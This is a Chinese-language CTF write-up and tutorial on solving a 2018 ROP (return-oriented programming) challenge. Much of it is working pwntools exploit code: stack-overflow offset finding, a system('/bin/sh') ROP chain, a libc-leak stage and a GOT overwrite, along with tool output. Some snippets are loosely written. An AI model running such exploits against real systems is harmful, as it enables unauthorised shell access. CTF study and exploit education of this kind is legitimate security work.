ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

ROP技术实战:从二进制漏洞到系统攻防

ROP技术实战:从二进制漏洞到系统攻防

1. 项目背景与ROP技术概述

2018年第五赛区铁人三项赛事中的ROP挑战题,是典型的二进制漏洞利用项目。ROP(Return-Oriented Programming)作为现代系统安全防护机制下的攻击技术,通过复用已有代码片段(gadgets)来绕过DEP(数据执行保护)等安全措施。这道题目集中考察了选手在内存布局分析、指令片段挖掘和调用链构建方面的能力。

在实际渗透测试中,ROP技术常被用于突破那些启用了NX/DEP保护的服务程序。与传统的shellcode注入不同,ROP不需要向进程注入可执行代码,而是巧妙地组合目标程序本身或其所加载库中的指令片段。这种技术最早由Hovav Shacham在2007年系统性地提出,现已成为二进制安全领域的必修课。

2. 题目环境搭建与初步分析

2.1 实验环境准备

建议使用Ubuntu 18.04 LTS作为基础环境,这是与2018年比赛环境最接近的系统版本。需要安装的核心工具包括:

  • pwntools:Python编写的漏洞利用框架(版本4.0+)
  • ROPgadget:自动化gadget查找工具(版本5.4+)
  • GDB with peda:增强版调试器
  • checksec:安全机制检测脚本
sudo apt install python3-pip pip3 install pwntools sudo apt install ropgadget git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit

2.2 二进制文件基础分析

首先使用checksec检查目标程序的安全机制:

checksec rop_challenge [*] '/tmp/rop_challenge' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

关键信息解读:

  • 32位小端架构
  • 开启NX(不可执行栈)
  • 未启用地址随机化(PIE)
  • 无栈保护(canary)

这提示我们需要通过ROP技术绕过NX保护,同时由于地址固定,不需要考虑地址泄露问题。

3. 漏洞定位与利用规划

3.1 缓冲区溢出漏洞确认

通过逆向分析或fuzz测试,可发现程序存在典型的栈溢出漏洞。在用户输入函数(如gets/scanf)处,输入超长字符串会导致程序崩溃。使用cyclic模式确认溢出偏移量:

from pwn import * p = process('./rop_challenge') payload = cyclic(500) p.sendline(payload) p.wait() core = p.corefile offset = cyclic_find(core.eip) print(f"Offset: {offset}")

假设输出显示偏移量为140,意味着我们需要在140字节后覆盖返回地址。

3.2 可利用函数分析

使用radare2或IDA检查二进制文件的导入函数:

rabin2 -i rop_challenge [Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x080483c0 GLOBAL FUNC gets 2 0x080483d0 GLOBAL FUNC system 3 0x080483e0 GLOBAL FUNC __libc_start_main

发现存在危险的gets函数和关键的系统调用system。但进一步检查字符串:

rabin2 -z rop_challenge [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x00000648 0x08048648 17 18 .rodata ascii /bin/sh

幸运的是程序中已经存在"/bin/sh"字符串,地址为0x08048648。这意味着我们可以直接构造system("/bin/sh")的调用。

4. ROP链构造实战

4.1 基础ROP链构建

对于32位程序,函数调用遵循cdecl约定,参数通过栈传递。构造system调用的基本思路:

  1. 覆盖返回地址为system函数地址(0x080483d0)
  2. 在返回地址后放置"/bin/sh"字符串地址
  3. 填充必要的返回地址(可设为exit函数地址)

对应的payload结构:

[140字节填充][system地址][fake返回地址]["/bin/sh"地址]

Python实现:

from pwn import * context(arch='i386', os='linux') system_addr = 0x080483d0 binsh_addr = 0x08048648 payload = b'A'*140 payload += p32(system_addr) payload += p32(0xdeadbeef) # 虚构返回地址 payload += p32(binsh_addr) p = process('./rop_challenge') p.sendline(payload) p.interactive()

4.2 复杂ROP链进阶

当程序中没有现成的system和"/bin/sh"时,需要更复杂的ROP链。典型步骤:

  1. 泄露libc地址(通过puts/got)
  2. 计算system实际地址
  3. 将"/bin/sh"写入可写内存
  4. 构造最终调用

示例代码片段:

# 泄露puts的got表地址 rop = ROP(elf) rop.call('puts', [elf.got['puts']]) rop.call('main') # 返回main函数重新利用 # 发送第一阶段payload p.sendline(flat({offset: rop.chain()})) puts_addr = u32(p.recv(4)) # 计算system地址(假设已知libc版本) libc = ELF('/lib/i386-linux-gnu/libc.so.6') libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system']

5. Gadget挖掘与链式调用

5.1 关键gadget查找

使用ROPgadget工具查找有用指令片段:

ROPgadget --binary rop_challenge --only "pop|ret" Gadgets information ============================================================ 0x0804843d : pop ebp ; ret 0x0804843c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804835d : pop ebx ; ret 0x0804843f : pop edi ; pop ebp ; ret 0x0804843e : pop esi ; pop edi ; pop ebp ; ret

对于参数传递,我们需要关注pop指令。例如0x0804835d的"pop ebx; ret"可以用于加载单个参数。

5.2 多参数调用构造

当需要调用如execve这样的多参数函数时,需要更复杂的链式结构。示例:

[填充][pop ebx; ret][arg1][pop ecx; ret][arg2][函数地址]

对应的pwntools实现:

rop = ROP(elf) rop.execve(ebx=bin_sh_addr, ecx=0, edx=0) print(rop.dump())

6. 漏洞利用的稳定性优化

6.1 栈对齐问题处理

在某些架构和环境下,函数调用时需要栈指针16字节对齐。可以通过插入额外的ret指令来调整:

rop.raw(rop.ret) # 添加额外ret指令对齐栈 rop.system(bin_sh_addr)

6.2 坏字符处理

当输入中存在被过滤的字符(如\x00、\x0a等),需要:

  1. 识别坏字符列表
  2. 选择不包含坏字符的地址
  3. 使用编码技术(如XOR编码)
badchars = b'\x00\x0a\x0d' # 示例坏字符 rop = ROP(elf, badchars=badchars) # pwntools会自动规避

7. 防御措施与绕过技巧

7.1 常见防护机制

现代系统针对ROP的防护包括:

  • ASLR(地址空间随机化)
  • Stack Canary(栈保护)
  • CFG(控制流完整性)
  • Shadow Stack(影子栈)

7.2 部分RELRO下的GOT改写

当程序为Partial RELRO时,可考虑改写GOT表项:

# 将strcmp的GOT项改为system地址 rop = ROP(elf) rop.raw(elf.plt['write']) # 任意写原语 rop.raw(elf.got['strcmp']) rop.raw(system_addr)

8. 自动化工具实战

8.1 pwntools的ROP模块

现代漏洞利用框架大大简化了ROP链构造:

from pwn import * context.binary = elf = ELF('./rop_challenge') rop = ROP(elf) # 自动查找可用gadget rop.system(next(elf.search(b'/bin/sh'))) print(rop.dump()) # 生成最终payload payload = flat({140: rop.chain()})

8.2 angr符号执行辅助

对于复杂约束,可使用符号执行引擎:

import angr p = angr.Project('./rop_challenge') simgr = p.factory.simulation_manager(p.factory.full_init_state()) simgr.explore(find=lambda s: b"shell" in s.posix.dumps(1))

9. 赛后复盘与经验总结

这道2018年的ROP题目虽然现在看来是基础题型,但包含了二进制漏洞利用的多个核心要点:

  1. 基础栈溢出漏洞识别
  2. NX绕过技术选择
  3. 函数调用约定理解
  4. 工具链熟练使用

在实际渗透测试中,遇到现代防护机制时还需要结合:

  • 堆漏洞利用技巧
  • 地址泄露技术
  • 多阶段攻击链构造

一个专业的漏洞利用开发流程应该包括:

  1. 目标分析(安全机制、函数表、字符串)
  2. 漏洞确认(输入点、溢出长度)
  3. 利用原语构建(读写、跳转)
  4. 利用链设计(功能实现)
  5. 稳定性优化(坏字符、环境适配)
返回列表